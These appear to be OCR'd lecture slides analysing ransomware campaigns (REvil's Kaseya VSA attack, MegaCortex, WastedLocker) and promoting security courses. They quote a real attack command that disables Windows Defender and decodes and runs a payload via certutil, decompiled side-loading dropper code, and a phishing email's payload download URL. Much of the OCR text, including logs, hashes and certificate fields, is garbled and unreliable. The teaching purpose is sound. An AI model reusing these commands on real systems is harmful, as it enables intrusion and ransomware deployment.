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REvIl delivery via Kaseya VSA server

Happy B|Og Blog search

KASEYA ATTACK INFO

On Friday (02.07.2021) we launched an attack on MSP providers. More than a million systems were infected. If anyone wants to
negotiate about universal decryptor - our price is 70 000 000$ in BTC and we will publish publicly decryptor that decrypts files
of all victims, so everyone will be able to recover from attack in less than an hour. If you are interested in such deal - contact us

using victims "readme" file instructions.




Logs from the compromised system

00% +~

EH Resuts = Messages

event Tme

20210702 12:25.04.003

20210702

- -
e M -~
7 14 <
- - ¥ o a

-

1o1.57.0)°
- - w N
e T Y

LA L.

“T T O
| -4

ENE 1Y A

11 TN

Fa\FAR Vi

w1307 im
AVE T -~

.
SVWEA TS

s . P
_ue T

-

. A

A . A e
)

- -

~ - .

e §

12.25:04 003

email Addr
NULL
NULL
NULL
NULL
NULL

agentGuid

123456789

scnpt Name

_ Webroot Regrstry Active Threats 64

Run KSeviChk App

I Vctroot Reosty Statua 64

123456789

| Ndiveandu

Webroot Registry Statos 64 it
Webroot Reqistry Active Threals 64
Webroot Registry Active Threats 64
Kaseya VSA Agent Hot Fx
WR_Instal_HeakhCheck 6432
WR_Service_HealthCheck _6432_01
Write text 1o file

Witte text 1o file-0001

Wre text to fie-0002
WR_Instal_HeathCheck 643

Wwe [

..r‘._ |~ -\d.i_n v"d“" }"{'\ E‘::L)

A
' o)
Wrie ted to fie

e ted to 6.,..

descnption

Seript Summary: Success THEN
Senpt Summary: Success THEN
Script Summary: Success THEN
Script Summary; Succesa THEN

Infformational: Get Fle command overvrote the sarve.
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Source: https://twitter.com/KyleHanslovan/status/1411356753720233987
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https://twitter.com/KyleHanslovan/status/1411356753720233987

Disabling Windows Defender by ‘Kaseya's’ script

"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 -n 5693 > nul & C:\Windows\System32\WindowsPowerShell\vl.
O\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true
-DisableIOAVProtection $true -DisableScriptScanning $true —-EnableControlledFolderAccess Disabled
—-EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y
C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.
exe —decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe &

c:\kworking\agent.exe

Source: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/



Using digital signature

Securtty Details Previous Versions | Digital Signature Details
General Compatibility Digtal Signatures

General Advanced
Signature list
., Digital Signature Information

PB03 TRANSPORT LTD. sha256 Not available

Signer information

Name: Peos TRANSPORT LTD.
E-mail: Brounllettebusmess @outiook.com
Signing time: INot avalable

View Certificate

Countersignatures

Name of signer: E-mail address: Timestamp

sorPHoslabs

Source: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/



sh Certificate

LockerGoga - Feb 2019

LockerGoga were supplied with the gp Certificate Information
certificates issued to Alina Ltd, Kitty's Ltd., This certificate has been revoked by is certification

Mikl Limited, and AB Simba Limited.

Issued to: ALISA LTD
Issued by: Sectigo RSA Code Signing CA

Vald from 2/22/2019 to 2/22/2020

Install Certificate... Issuer Statement




MegaCortex - May 2019 ==

! | « Street Vi - Mar 2018
Certificate || X || © reet View - Mar

General | Details | Certification Path

Show: | <All>

Field Value

Valid from Thursday, March 14, 2019 6:00:00 PM

f Valid to Saturday, March 14, 2020 5:59:59 PM I
5 Subject 3AN LIMITED, 3AN LIMITED, ROMFORD, (i

— | Public key RSA (2048 Bits)
1% | Rasie Coanetraints Cithiart Tunae=Fnd Frfitv_ Dath | annth Cr
MegaCortex.

openss! X509 -noout -serial -fingerprint -subject -issuer -ocsp uri < cert-3AN-thawte.pem
seral=04C/7CDCC1698E25B493EB4338D5E2F8B
SHA1 Hrmvrpwn 00:97:4F5C.CO54:E6:F0:COAT33:2A9/7:33:E4:2F:19:18:6F:8BB

[‘fL ROMFC ‘RD/( =3AN HMIT[D 'C N 3AN LI\HT[D

’8 Quarleqd

-

' Chadwell Heath Ac

Copy to File...

Learn more about certificate details

Source: https://news.sophos.com/en-us/2019/05/10/megacorte x-deconstructed-mysteries-mo unt-as-analysis-continues/



https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/

DLL Side—Loading Attack

, L"SOFTIS");

sorPHoslabs

LoadResource(0, v4);

£ (V5 )

dword_4143A0 = (int)LockResource(vs);
v6 = FindResourceW(®, (LPCWSTR)Ox66, L"MODLIS");

WS -

if (V6 )
{

v7 = LoadResource(0, v6);
/7 )

if (0

dword _4143A4 = (int)LockResource(v7);
drop_to windows(©xC5588u, dword 4143A4, L"mpsvc.dll");
v8 = drop_to_windows(0x56DOu, dword 4143A0, L"MsMpEng.exe");

StartupInfo.cb =

CreateProcessW((LPCWSTR)vE, 1pCommandlLine, @, O, O, Ox230u, 0, 0, &StartupInfo, &ProcessInformation);

return 9,

Source: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/



https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/

DLL Side-Loading Attack gy

Security Details Previous Versions
General Compatibility Digital Signatures
Signature list

Name of signer: Digest algorthm Timestamp

Microsoft Corpora... shal Sunday, March 23,
Microsoft Corpora... sha256 Sunday, March 23,

sorHoslabs
Concl

Source: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
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REvVII Ransom note

1 @ &

shotos, databases To decrypt your files yoL Follow the instructions below. Burt

nportant files encrypted buy our special software

emember that you do not ha

/pc/8rOl1-Decryptor much time

-Decryptor price

You have Current price  214.29108787 XMR

do not pay on time, the price wi = 44,999 UsD

After time ends 428.58217574 XMR

= 89998 USD
Monero address:

actual rate

Source; https://blog.malwarebytes.com/cybercrime/2021/07/shutdown-kaseya-vsa-servers-now-amidst-cascading-revil-attack-against-msps-clients/



https://blog.malwarebytes.com/cybercrime/2021/07/shutdown-kaseya-vsa-servers-now-amidst-cascading-revil-attack-against-msps-clients/

Kaseya phishing campaign

. Our Shipping Renewal 2021 INST24.267495 - Message (HTML)
¢ Tell me what you want to do...

X Q6 G B [ =R EHERR

[ Actions = [7) Related =
Delete  Reply Reply Forward Maove Mark Categonze Follow  Translate

All - Unread . Up~ . W Select -
Drelete Respond 2 5 oy Tags Editing
Qur Shipping Renewal 2021 INS734267495
ﬂ Click here to download pictures. To help protect your privacy, Outlock prevented automatic dewnload of some pictures in this message.

7 1) SecurityUpdates. exe

SURE

Thanks guys

Guys please install the update fro= microsoft to protect against ransomware as soon as possible. This is fising a vulnerability in Kaseya

https:wwiw kasev= com potential-attack-on-kaseva-vsa I ::} http://45.153.241.113/download/pload.exe

Kind Regards
Graham Widdowson
Branch Manager

GRENKELEASING LTD

G50 Business Park

Building 2

Barbana Road <=pan lang=EN-GB style="'mso-ansi-language:EN-GB'>
East Kilbride

74 3PG

Tel +44 1355 599800 Malwarebytes | Premium
Dir +44 1355 589810

Maob +44 7590 803057 +~ Malware blocked
mailto: gwiddowson@grenke co uk - : ek 2

Pagistered office 5% Fecor Saxon House 3 Onslow Streat & i
Thits @-mail may contan confidentizl and)\or priv t;t:‘ rifican tion. i you an ot ¢ AiEnoed nec nt (or save recsived this e-ma n eror] please notify the sender imemaed atedy and destroy this e=mail. Any unauthorised copyin QSO
From: Fiona Mack colpitts.co.uk]

Sent: 06 July 2021 1:36 PM , .
To: Widdowson, Graham Name: MachineLeaming/Anomalous.100%
Subject: Commercial Combined Policy Path: CA\Users\Lab\Downloads\pload.exe
Importance: High

Here you go i

Type: Mahware

Source; https://blog.malwarebytes.com/cybercrime/2021/07/shutdown-kaseya-vsa-servers-now-amidst-cascading-revil-attack-against-msps-clients/



https://blog.malwarebytes.com/cybercrime/2021/07/shutdown-kaseya-vsa-servers-now-amidst-cascading-revil-attack-against-msps-clients/

NotPetya - 27 June 2017

It became clear
that MEDoc was
the source of the
XData attack

21 June 26 June 27 June

18 May 22 May
Reconnaissance

14 April 22 June

MEDoc company
MEDoc MEDoc replied that it was MEDoc
update 176 update 181 coincidence update 189

Source: https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-battlefield-ukraine-finding-patterns-behind-summer-cyber-attacks



https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-battlefield-ukraine-finding-patterns-behind-summer-cyber-attacks

WastedlLocker overview

e Operated by the Evil Corp group

e Attacked at least 31 US-based
corporations since May 2020
iIncluding Garmin on July 23, 2020

e The ransom varies from $500,000 to

$10 million in Bitcoin

e Defense Evasion technigues that
iIncludes Digital Signhing, Alternate
Data Streams, and Lazy Writing

Garmin & @Garmin - Jul 23 v
We are currently experiencing an outage that affects Garmin Connect, and as
a result, the Garmin Connect website and mobile app are down at this time.
(1/2)

Q) 1K T 1.2K ) 14K T

Garmin® @Garmin - Jul 23 v
This outage also affects our call centers, and we are currently unable to

receive any calls, emails or online chats. We are working to resolve this issue
as quickly as possible and apologize for this inconvenience. (2/2)

Q) 430 11 295 Q) 737 T

Garmin & @Garmin - Jul 27 v
We are happy to report that many of the systems and services affected by
the recent outage, including Garmin Connect, are returning to operation.
Some features still have temporary limitations while all of the data is being
processed.

™ a9 T 2A9 T ‘
LL"'J D= t ;L olZ S\ 5.0 |.-"~. |L



Russian Evil Corp
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Alleged Russian Hacker Behind $100 Million Evil Corp Indicted

The US is charging Maksim Yakubets over two of the biggest cybertheft campaigns of the last decade, and offers a record reward for
information on the case.

MAKSIM VIKTOROVICH YAKUBETS

Conspiracy; Conspiracy to Commit Fraud; Wire Fraud; Bank Fraud;

Intentional Damage to a Computer

CASATESY BF THE B0 BOT1O0AL CRINMLD ALENLY DESCRIPTION
Aliases: Maksim Yakubets, "AQUA"
Date(s) of Birth Used: May 20, 1987 Place of Birth: Ukraine
Hair: Brown Eyes: Brown
Height: Approximately 510" Weight: Approximately 170 pounds
Sex: Male Race: Whit

Citizenship: Russian

REWARD

The United States Department of State's Transnational Organized Crime Rewards Program is offering a
reward of up to $£5 million for information leading to the arrest and/or conviction of Maksim Viktorovich
Yakubets,




Defense evasion: Digital signing

Self-signed certificate

e |ssued to: YZCKUEONYQSURZWORG
e Issued by: YZCKUEONYQSURZWORG
e Valid: June 2, 2020 - 31 December, 2039
e Signing time: Wednesday, June 10, 2020

Signer information

Name: ﬂﬂﬂf[ﬂﬁﬂﬂlﬂﬂm‘[ﬂﬁ

E-mail: Mot available

signing time: Wednesday, June 10, 2020 9:12:22 PM

View Certificate

ap Certificate

General Details Certification Path

.;_‘3,& Certificate Information

This CA Root certificate is not trusted. To enable trust,
install this certificate in the Trusted Root Certification
Authorities store.

Issued to: YZCKUEONYQSURZWORG

Issped by: YZCKUEOMNYQSURZWORG

valid from 6/2/2020 to 12/31/2035

Install Certificate. ..




Defense evasion: Alternate Data Stream

W astedLocker drops its payload to
<random word>:bin stream that Is
not visible in the File Explorer.

— !}idaﬁd.exe 0.19 113,196 K
- | =+ wastedlocker.exe 2400 K
Susp... 1,688 K

W idabd exe 0.21 137,656 K

_:*_ procexpb4.8 Command Line:
p-| MuENahheSton| C.|Jsers‘|EUser\AppData“Roaming"Join:bin
Path:

C:\Users‘\|Elser\AppData“ Roaming“Join bin

C:\Users\IEUser\AppData\Roaming>c:\streams64.exe Join

ctreams v1.60 - Reveal NTFS alternate streams.
Copyright (C) 28085-2816 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Users\IEUser\AppData‘\Roaming\Join:
:bin:$DATA 1676112

4000 K 14592 The Interactive Disassembler Hex-Rays SA
Re8 K 5156 Launchy Code Jelly
2Ok EALanchy  Codedely
475968 K 8520 The Interactive Disassembler Hex-Rays S5A
48,764 K 3312 Sysintemals Process Explorer  Sysintemals - www sysinter. .
J216 K 3088 MusNotification Lk exe Microsoft Corporation




Defense evasion: Lazy Writing

Reqgular flow WastedLocker way

1. CreateFile() - open file 1. CreateFile() - open file
2. GetFileSize() 2. GetFileSize()

3. CreateFileMapping() 3. CreateFileMapping()
4. MapViewOfFile() 4. MapViewOfFile()

5. Modify mapped data

6. UnmapViewOfFile() 6. Encrypt mapped data
/. CloseHandle(file map) /. UnmapViewOfFile()

8. CloseHandle(file) 8. CloseHandle(file map)



Demo: WastedLocker's Lazy Writing
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http://drive.google.com/file/d/1Ib4oYB0aAIQJlA8J6ufduEjb7-CBWcAL/view

Delivery mechanism

Threat Actor Malware Ransomware

TA569 The Trick WastedLocker

A Ryuk
o ) y
Egregor
TAS577 SocGholish

\
S
\
\

/
/

, Maze

J /
/
.!'
/
u/
/
/
/
/
/
/
/
-
J

/
' 4
/
F |
/
- “‘ " 4

TASS 1 S - //

Qbot "‘ — ProLock

Source: https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware



https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

Summary

1.

Initial access and delivery

a. Supply-chain and trusted partnership
b. Using first-stage trojans

C.

. Defense evasion

a.
b.

Digital signatures
Disabling Windows Defender

DLL Side-Loading

d. Alternate Data Streams
e. Lazy writing

.and many more ...
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https://www.bth.se/eng/education/courses/20221/D5857/
https://www.bth.se/eng/education/courses/20221/D5854/
https://www.bth.se/eng/education/courses/20221/D5856/
https://www.bth.se/eng/education/courses/20221/D5853/
https://www.bth.se/eng/education/courses/20221/D5855/

Advanced Digital Forensics 7,5 credits — Oleksii Baranovskyi & Anders Carlsson

ComEanies and their IT systems are affected by advanced intrusions, various ransomware
attacks and or thefts of both sensitive and secret information. In case of being compromised
companies need to understand their weak points, ways of intrusion and attackers attributes.

The course focuses on_developin% the student's skills to investigate and analyze complex cyber
attacks (Cyber Kill Chain) and to track the threat actor, discover exploited vulnerabilities so that
companies can restore data and system integrity.

Machine Learning Security 6 credits - Vlad Tkach

This course is divided into the following two parts. First, it covers security problems in Machine Learning (ML)
systems, e.g., showing various types of attacks on ML systems in an applied fashion -adversarial ML.
Secondly, available methods, tools and other safeguards that could be used against the different types of
attacks are covered.

The course includes both theoretical introductions to the different attack types and security-enhancing
methods and tools, as well as more practical hands-on assignments in Python. After the course the student
will have obtained basic knowledge about security-enhancing approaches, and how to use them in order to
protect against various risks in ML systems and how to use ML to detect cyber attacks.

Malware Analysis 7,5 credits - Alexander Adamov

Companies and their IT systems are affected by advanced intrusions, various ransomware attacks and or thefts of
both sensitive and secret information. In case of being compromised companies need to understand their weak
points, ways of intrusion and attackers attributes.

The course focuses on developing the student's skills to investigate and analyze complex cyber attacks (Cyber Kill
Chain) and to track the threat actor, discover exploited vulnerabilities so that companies can restore data and
system integrity.



Data-Driven Security 3 credits — Vlad Tkach

Organisations today produce a large amount of data. This course covers how to utilize
that data for cybersecurity purposes. It covers topics such as how to acquire (e.g.,
through SIEM) and prepare security data, from collection and storage to management
and analysis as well as visualization and presentation, predicting rouge behaviours, and
correlate security events. How to use data science to understand and communicate
security problems.

Quality Assurance of Security Aware Applications — Davide Fucci & Emil Alegroth

The purpose of this course is to show how fundamental testing practices are applied in the context of secure
software development. The student will learn to integrate automated software testing with different
approaches to verify software security, leveraging theories from continuous quality assurance in software
development, as well as security best practices.

The course is adapted to give a solid introduction to non-testing experts with an interest in software security,
and addresses both how professionals (developers, managers, decision-makers) can incorporate security

Into the quality assurance process of their products/service
P RO | M | I S
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